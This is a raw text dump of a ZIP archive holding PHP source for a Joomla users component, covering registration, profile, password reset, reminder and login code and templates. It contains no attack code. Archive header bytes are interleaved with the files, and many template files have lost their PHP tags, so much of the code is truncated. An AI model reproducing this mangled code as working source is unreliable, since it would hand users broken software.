$data['fromname'], $row->email, $emailSubject, $emailBodyAdmin); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } } // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_SEND_MAIL_FAILED')); // Send a system message to administrators receiving system mails $db = JFactory::getDBO(); $q = "SELECT id FROM #__users WHERE block = 0 AND sendEmail = 1"; $db->setQuery($q); $sendEmail = $db->loadColumn(); if (count($sendEmail) > 0) { $jdate = new JDate(); // Build the query to add the messages $q = "INSERT INTO ".$db->quoteName('#__messages')." (".$db->quoteName('user_id_from'). ", ".$db->quoteName('user_id_to').", ".$db->quoteName('date_time'). ", ".$db->quoteName('subject').", ".$db->quoteName('message').") VALUES "; $messages = array(); foreach ($sendEmail as $userid) { $messages[] = "(".$userid.", ".$userid.", '".$jdate->toSql()."', '".JText::_('COM_USERS_MAIL_SEND_FAILURE_SUBJECT')."', '".JText::sprintf('COM_USERS_MAIL_SEND_FAILURE_BODY', $return, $data['username'])."')"; } $q .= implode(',', $messages); $db->setQuery($q); $db->query(); } return false; } if ($useractivation == 1) return "useractivate"; elseif ($useractivation == 2) return "adminactivate"; else return $user->id; } } PKGy>\T&com_users/models/profile.phpnuW+AgetState('user.id'); if ($userId) { // Initialise the table with JUser. $table = JTable::getInstance('User'); // Attempt to check the row in. if (!$table->checkin($userId)) { $this->setError($table->getError()); return false; } } return true; } /** * Method to check out a user for editing. * * @param integer The id of the row to check out. * @return boolean True on success, false on failure. * @since 1.6 */ public function checkout($userId = null) { // Get the user id. $userId = (!empty($userId)) ? $userId : (int)$this->getState('user.id'); if ($userId) { // Initialise the table with JUser. $table = JTable::getInstance('User'); // Get the current user object. $user = JFactory::getUser(); // Attempt to check the row out. if (!$table->checkout($user->get('id'), $userId)) { $this->setError($table->getError()); return false; } } return true; } /** * Method to get the profile form data. * * The base form data is loaded and then an event is fired * for users plugins to extend the data. * * @return mixed Data object on success, false on failure. * @since 1.6 */ public function getData() { if ($this->data === null) { $userId = $this->getState('user.id'); // Initialise the table with JUser. $this->data = new JUser($userId); // Set the base user data. $this->data->email1 = $this->data->get('email'); $this->data->email2 = $this->data->get('email'); // Override the base user data with any data in the session. $temp = (array)JFactory::getApplication()->getUserState('com_users.edit.profile.data', array()); foreach ($temp as $k => $v) { $this->data->$k = $v; } // Unset the passwords. unset($this->data->password1); unset($this->data->password2); $registry = new JRegistry($this->data->params); $this->data->params = $registry->toArray(); // Get the dispatcher and load the users plugins. $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('user'); // Trigger the data preparation event. $results = $dispatcher->trigger('onContentPrepareData', array('com_users.profile', $this->data)); // Check for errors encountered while preparing the data. if (count($results) && in_array(false, $results, true)) { $this->setError($dispatcher->getError()); $this->data = false; } } return $this->data; } /** * Method to get the profile form. * * The base form is loaded from XML and then an event is fired * for users plugins to extend the form with extra fields. * * @param array $data An optional array of data for the form to interogate. * @param boolean $loadData True if the form is to load its own data (default case), false if not. * @return JForm A JForm object on success, false on failure * @since 1.6 */ public function getForm($data = array(), $loadData = true) { // Get the form. $form = $this->loadForm('com_users.profile', 'profile', array('control' => 'jform', 'load_data' => $loadData)); if (empty($form)) { return false; } // Check for username compliance and parameter set $isUsernameCompliant = true; if ($this->loadFormData()->username) { $username = $this->loadFormData()->username; $isUsernameCompliant = !(preg_match('#[<>"\'%;()&\\\\]|\\.\\./#', $username) || strlen(utf8_decode($username)) < 2 || trim($username) != $username); } $this->setState('user.username.compliant', $isUsernameCompliant); if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant) { $form->setFieldAttribute('username', 'class', ''); $form->setFieldAttribute('username', 'filter', ''); $form->setFieldAttribute('username', 'description', 'COM_USERS_PROFILE_NOCHANGE_USERNAME_DESC'); $form->setFieldAttribute('username', 'validate', ''); $form->setFieldAttribute('username', 'message', ''); $form->setFieldAttribute('username', 'readonly', 'true'); $form->setFieldAttribute('username', 'required', 'false'); } return $form; } /** * Method to get the data that should be injected in the form. * * @return mixed The data for the form. * @since 1.6 */ protected function loadFormData() { return $this->getData(); } /** * Override preprocessForm to load the user plugin group instead of content. * * @param object A form object. * @param mixed The data expected for the form. * @throws Exception if there is an error in the form event. * @since 1.6 */ protected function preprocessForm(JForm $form, $data, $group = 'user') { if (JComponentHelper::getParams('com_users')->get('frontend_userparams')) { $form->loadFile('frontend', false); if (JFactory::getUser()->authorise('core.login.admin')) { $form->loadFile('frontend_admin', false); } } parent::preprocessForm($form, $data, $group); } /** * Method to auto-populate the model state. * * Note. Calling getState in this method will result in recursion. * * @since 1.6 */ protected function populateState() { // Get the application object. $params = JFactory::getApplication()->getParams('com_users'); // Get the user id. $userId = JFactory::getApplication()->getUserState('com_users.edit.profile.id'); $userId = !empty($userId) ? $userId : (int)JFactory::getUser()->get('id'); // Set the user id. $this->setState('user.id', $userId); // Load the parameters. $this->setState('params', $params); } /** * Method to save the form data. * * @param array The form data. * @return mixed The user id on success, false on failure. * @since 1.6 */ public function save($data) { $userId = (!empty($data['id'])) ? $data['id'] : (int)$this->getState('user.id'); $user = new JUser($userId); // Prepare the data for the user object. $data['email'] = $data['email1']; $data['password'] = $data['password1']; // Unset the username if it should not be overwritten $username = $data['username']; $isUsernameCompliant = $this->getState('user.username.compliant'); if (!JComponentHelper::getParams('com_users')->get('change_login_name') && $isUsernameCompliant) { unset($data['username']); } // Unset the block so it does not get overwritten unset($data['block']); // Unset the sendEmail so it does not get overwritten unset($data['sendEmail']); // Bind the data. if (!$user->bind($data)) { $this->setError(JText::sprintf('COM_USERS_PROFILE_BIND_FAILED', $user->getError())); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Null the user groups so they don't get overwritten $user->groups = null; // Store the data. if (!$user->save()) { $this->setError($user->getError()); return false; } return $user->id; } } PKGy>\=%"com_users/views/reset/metadata.xmlnuW+A PKGy>\V com_users/views/reset/index.htmlnuW+A PKGy>\V%com_users/views/reset/tmpl/index.htmlnuW+A PKGy>\ 'com_users/views/reset/tmpl/complete.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            form->getFieldsets() as $fieldset): ?>

            label); ?>

            form->getFieldset($fieldset->name) as $name => $field): ?>
            label; ?>
            input; ?>
            PKGy>\vx&com_users/views/reset/tmpl/confirm.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            form->getFieldsets() as $fieldset): ?>

            label); ?>

            form->getFieldset($fieldset->name) as $name => $field): ?>
            label; ?>
            input; ?>
            PKGy>\)$com_users/views/reset/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\+yv&com_users/views/reset/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            form->getFieldsets() as $fieldset): ?>

            label); ?>

            form->getFieldset($fieldset->name) as $name => $field): ?>
            label; ?>
            input; ?>
            PKGy>\22&com_users/views/reset/tmpl/default.xmlnuW+A PKGy>\)com_users/views/reset/.htaccessnuW+A Order allow,deny Deny from all PKGy>\! #com_users/views/reset/view.html.phpnuW+AgetLayout(); // Check that the name is valid - has an associated model. if( ! in_array($name, array('confirm', 'complete'))) { $name = 'default'; } if ('default' == $name) { $formname = 'Form'; } else { $formname = ucfirst($this->_name).ucfirst($name).'Form'; } // Get the view data. $this->form = $this->get($formname); $this->state = $this->get('State'); $this->params = $this->state->params; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
            ', $errors)); return false; } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_USERS_RESET')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\a| | *com_users/views/registration/view.html.phpnuW+Adata = $this->get('Data'); $this->form = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->get('params'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
            ', $errors)); return false; } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_USERS_REGISTRATION')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\$)com_users/views/registration/metadata.xmlnuW+A PKGy>\)&com_users/views/registration/.htaccessnuW+A Order allow,deny Deny from all PKGy>\ h A-com_users/views/registration/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            form->getFieldsets() as $fieldset): // Iterate through the form fieldsets and display each one.?> form->getFieldset($fieldset->name);?>
            label)):// If the fieldset has a label set, display it as the legend. ?> label);?>
            hidden):// If the field is hidden, just display the input.?> input;?>
            label; ?> required && $field->type!='Spacer'): ?>
            type!='Spacer') ? $field->input : " "; ?>
            PKGy>\)+com_users/views/registration/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\BEE-com_users/views/registration/tmpl/default.xmlnuW+A PKGy>\y?.com_users/views/registration/tmpl/complete.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            PKGy>\V,com_users/views/registration/tmpl/index.htmlnuW+A PKGy>\V'com_users/views/registration/index.htmlnuW+A PKGy>\ 7 7 $com_users/views/remind/view.html.phpnuW+Aform = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->params; // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
            ', $errors)); return false; } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document. * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_USERS_REMIND')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\v#com_users/views/remind/metadata.xmlnuW+A PKGy>\V&com_users/views/remind/tmpl/index.htmlnuW+A PKGy>\)%com_users/views/remind/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\N%'com_users/views/remind/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            form->getFieldsets() as $fieldset): ?>

            label); ?>

            form->getFieldset($fieldset->name) as $name => $field): ?>
            label; ?>
            input; ?>
            PKGy>\q>11'com_users/views/remind/tmpl/default.xmlnuW+A PKGy>\) com_users/views/remind/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V!com_users/views/remind/index.htmlnuW+A PKGy>\V"com_users/views/profile/index.htmlnuW+A PKGy>\)&com_users/views/profile/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\ "l/com_users/views/profile/tmpl/default_custom.phpnuW+Aform->getFieldsets(); if (isset($fieldsets['core'])) unset($fieldsets['core']); if (isset($fieldsets['params'])) unset($fieldsets['params']); foreach ($fieldsets as $group => $fieldset): // Iterate through the form fieldsets $fields = $this->form->getFieldset($group); if (count($fields)): ?>
            label)):// If the fieldset has a label set, display it as the legend.?> label); ?>
            hidden) :?>
            title; ?>
            id)):?> id, $field->value);?> fieldname)):?> fieldname, $field->value);?> type)):?> type, $field->value);?> value);?>
            PKGy>\vss/com_users/views/profile/tmpl/default_params.phpnuW+A form->getFieldset('params'); ?>
            hidden) :?>
            title; ?>
            id)):?> id, $field->value);?> fieldname)):?> fieldname, $field->value);?> type)):?> type, $field->value);?> value);?>
            PKGy>\133(com_users/views/profile/tmpl/default.xmlnuW+A PKGy>\Ig:~~(com_users/views/profile/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            loadTemplate('core'); ?> loadTemplate('params'); ?> loadTemplate('custom'); ?> id == $this->data->id) : ?>
            PKGy>\ ^eE E %com_users/views/profile/tmpl/edit.phpnuW+Aload( 'plg_user_profile', JPATH_ADMINISTRATOR ); ?>
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            form->getFieldsets() as $group => $fieldset):// Iterate through the form fieldsets and display each one.?> form->getFieldset($group);?>
            label)):// If the fieldset has a label set, display it as the legend.?> label); ?>
            hidden):// If the field is hidden, just display the input.?> input;?>
            label; ?> required && $field->type!='Spacer' && $field->name!='jform[username]'): ?>
            input; ?>
            PKGy>\+O-com_users/views/profile/tmpl/default_core.phpnuW+A
            data->name; ?>
            data->username); ?>
            data->registerDate); ?>
            data->lastvisitDate != '0000-00-00 00:00:00'){?>
            data->lastvisitDate); ?>
            PKGy>\dH88%com_users/views/profile/tmpl/edit.xmlnuW+A PKGy>\V'com_users/views/profile/tmpl/index.htmlnuW+A PKGy>\Qpώ$com_users/views/profile/metadata.xmlnuW+A PKGy>\W W %com_users/views/profile/view.html.phpnuW+Adata = $this->get('Data'); $this->form = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->get('params'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
            ', $errors)); return false; } // Check if a user was found. if (!$this->data->id) { JError::raiseError(404, JText::_('JERROR_USERS_PROFILE_NOT_FOUND')); return false; } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document * * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $user = JFactory::getUser(); $login = $user->get('guest') ? true : false; $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if($menu) { $this->params->def('page_heading', $this->params->get('page_title', $user->name)); } else { $this->params->def('page_heading', JText::_('COM_USERS_PROFILE')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\)!com_users/views/profile/.htaccessnuW+A Order allow,deny Deny from all PKGy>\V com_users/views/login/index.htmlnuW+A PKGy>\1 #com_users/views/login/view.html.phpnuW+Auser = JFactory::getUser(); $this->form = $this->get('Form'); $this->state = $this->get('State'); $this->params = $this->state->get('params'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode('
            ', $errors)); return false; } // Check for layout override $active = JFactory::getApplication()->getMenu()->getActive(); if (isset($active->query['layout'])) { $this->setLayout($active->query['layout']); } //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx')); $this->prepareDocument(); parent::display($tpl); } /** * Prepares the document * @since 1.6 */ protected function prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $user = JFactory::getUser(); $login = $user->get('guest') ? true : false; $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', $login ? JText::_('JLOGIN') : JText::_('JLOGOUT')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\"com_users/views/login/metadata.xmlnuW+A PKGy>\o2-com_users/views/login/tmpl/default_logout.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
            params->get('logoutdescription_show') == 1) : ?> params->get('logout_description'); ?> params->get('logout_image')!='')) :?> <?php echo JTEXT::_('COM_USER_LOGOUT_IMAGE_ALT')?> params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
            PKGy>\V%com_users/views/login/tmpl/index.htmlnuW+A PKGy>\)$com_users/views/login/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\%3ݺ ,com_users/views/login/tmpl/default_login.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description')) != '') || $this->params->get('login_image') != '') : ?>
            form->getFieldset('credentials') as $field): ?> hidden): ?>
            • get('allowUserRegistration')) : ?>
            PKGy>\J&com_users/views/login/tmpl/default.xmlnuW+A
            PKGy>\=}^&com_users/views/login/tmpl/default.phpnuW+Auser->get('guest')): // The user is not logged in. echo $this->loadTemplate('login'); else: // The user is already logged in. echo $this->loadTemplate('logout'); endif; PKGy>\)com_users/views/login/.htaccessnuW+A Order allow,deny Deny from all PKGy>\4bb&com_users/controllers/registration.phpnuW+Aget('id')) { $this->setRedirect('index.php'); return true; } // If user registration or account activation is disabled, throw a 403. if ($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) { JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); return false; } $model = $this->getModel('Registration', 'UsersModel'); $token = JRequest::getVar('token', null, 'request', 'alnum'); // Check that the token is in a valid format. if ($token === null || strlen($token) !== 32) { JError::raiseError(403, JText::_('JINVALID_TOKEN')); return false; } // Attempt to activate the user. $return = $model->activate($token); // Check for errors. if ($return === false) { // Redirect back to the homepage. $this->setMessage(JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $model->getError()), 'warning'); $this->setRedirect('index.php'); return false; } $useractivation = $uParams->get('useractivation'); // Redirect to the login screen. if ($useractivation == 0) { $this->setMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); } elseif ($useractivation == 1) { $this->setMessage(JText::_('COM_USERS_REGISTRATION_ACTIVATE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); } elseif ($return->getParam('activate')) { $this->setMessage(JText::_('COM_USERS_REGISTRATION_VERIFY_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } else { $this->setMessage(JText::_('COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } return true; } /** * Method to register a user. * * @return boolean True on success, false on failure. * @since 1.6 */ public function register() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // If registration is disabled - Redirect to login page. if(JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0) { $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); return false; } // Initialise variables. $app = JFactory::getApplication(); $model = $this->getModel('Registration', 'UsersModel'); // Get the user data. $requestData = JRequest::getVar('jform', array(), 'post', 'array'); // Validate the posted data. $form = $model->getForm(); if (!$form) { JError::raiseError(500, $model->getError()); return false; } $data = $model->validate($form, $requestData); // Check for validation errors. if ($data === false) { // Get the validation messages. $errors = $model->getErrors(); // Push up to three validation messages out to the user. for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++) { if ($errors[$i] instanceof Exception) { $app->enqueueMessage($errors[$i]->getMessage(), 'warning'); } else { $app->enqueueMessage($errors[$i], 'warning'); } } // Save the data in the session. $app->setUserState('com_users.registration.data', $requestData); // Redirect back to the registration screen. $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false)); return false; } // Attempt to save the data. $return = $model->register($data); // Check for errors. if ($return === false) { // Save the data in the session. $app->setUserState('com_users.registration.data', $data); // Redirect back to the edit screen. $this->setMessage($model->getError(), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration', false)); return false; } // Flush the data from the session. $app->setUserState('com_users.registration.data', null); // Redirect to the profile screen. if ($return === 'adminactivate'){ $this->setMessage(JText::_('COM_USERS_REGISTRATION_COMPLETE_VERIFY')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } elseif ($return === 'useractivate') { $this->setMessage(JText::_('COM_USERS_REGISTRATION_COMPLETE_ACTIVATE')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } else { $this->setMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS')); $this->setRedirect(JRoute::_('index.php?option=com_users&view=login', false)); } return true; } } PKGy>\~::com_users/controllers/reset.phpnuW+AgetModel('Reset', 'UsersModel'); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Submit the password reset request. $return = $model->processResetRequest($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_RESET_REQUEST_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset'.$itemid; // Go back to the request form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // The request failed. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset'.$itemid; // Go back to the request form. $message = JText::sprintf('COM_USERS_RESET_REQUEST_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // The request succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=confirm'.$itemid; // Proceed to step two. $this->setRedirect(JRoute::_($route, false)); return true; } } /** * Method to confirm the password request. * * @access public * @since 1.0 */ function confirm() { // Check the request token. JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); $app = JFactory::getApplication(); $model = $this->getModel('Reset', 'UsersModel'); $data = JRequest::getVar('jform', array(), 'request', 'array'); // Confirm the password reset request. $return = $model->processResetConfirm($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_RESET_CONFIRM_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=confirm'.$itemid; // Go back to the confirm form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // Confirm failed. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=confirm'.$itemid; // Go back to the confirm form. $message = JText::sprintf('COM_USERS_RESET_CONFIRM_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // Confirm succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=complete'.$itemid; // Proceed to step three. $this->setRedirect(JRoute::_($route, false)); return true; } } /** * Method to complete the password reset process. * * @since 1.6 */ public function complete() { // Check for request forgeries JSession::checkToken('post') or jexit(JText::_('JINVALID_TOKEN')); $app = JFactory::getApplication(); $model = $this->getModel('Reset', 'UsersModel'); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Complete the password reset request. $return = $model->processResetComplete($data); // Check for a hard error. if ($return instanceof Exception) { // Get the error message to display. if ($app->getCfg('error_reporting')) { $message = $return->getMessage(); } else { $message = JText::_('COM_USERS_RESET_COMPLETE_ERROR'); } // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=complete'.$itemid; // Go back to the complete form. $this->setRedirect(JRoute::_($route, false), $message, 'error'); return false; } elseif ($return === false) { // Complete failed. // Get the route to the next page. $itemid = UsersHelperRoute::getResetRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=reset&layout=complete'.$itemid; // Go back to the complete form. $message = JText::sprintf('COM_USERS_RESET_COMPLETE_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // Complete succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getLoginRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=login'.$itemid; // Proceed to the login form. $message = JText::_('COM_USERS_RESET_COMPLETE_SUCCESS'); $this->setRedirect(JRoute::_($route, false), $message); return true; } } } PKGy>\ Z+$$ com_users/controllers/remind.phpnuW+AgetModel('Remind', 'UsersModel'); $data = JRequest::getVar('jform', array(), 'post', 'array'); // Submit the password reset request. $return = $model->processRemindRequest($data); // Check for a hard error. if ($return == false) { // The request failed. // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=remind'.$itemid; // Go back to the request form. $message = JText::sprintf('COM_USERS_REMIND_REQUEST_FAILED', $model->getError()); $this->setRedirect(JRoute::_($route, false), $message, 'notice'); return false; } else { // The request succeeded. // Get the route to the next page. $itemid = UsersHelperRoute::getRemindRoute(); $itemid = $itemid !== null ? '&Itemid='.$itemid : ''; $route = 'index.php?option=com_users&view=login'.$itemid; // Proceed to step two. $message = JText::_('COM_USERS_REMIND_REQUEST_SUCCESS'); $this->setRedirect(JRoute::_($route, false), $message); return true; } } } PKGy>\sB99!com_users/controllers/profile.phpnuW+Aget('id'); // Get the previous user id (if any) and the current user id. $previousId = (int) $app->getUserState('com_users.edit.profile.id'); $userId = (int) JRequest::getInt('user_id', null, '', 'array'); // Check if the user is trying to edit another users profile. if ($userId != $loginUserId) { JError::raiseError(403, 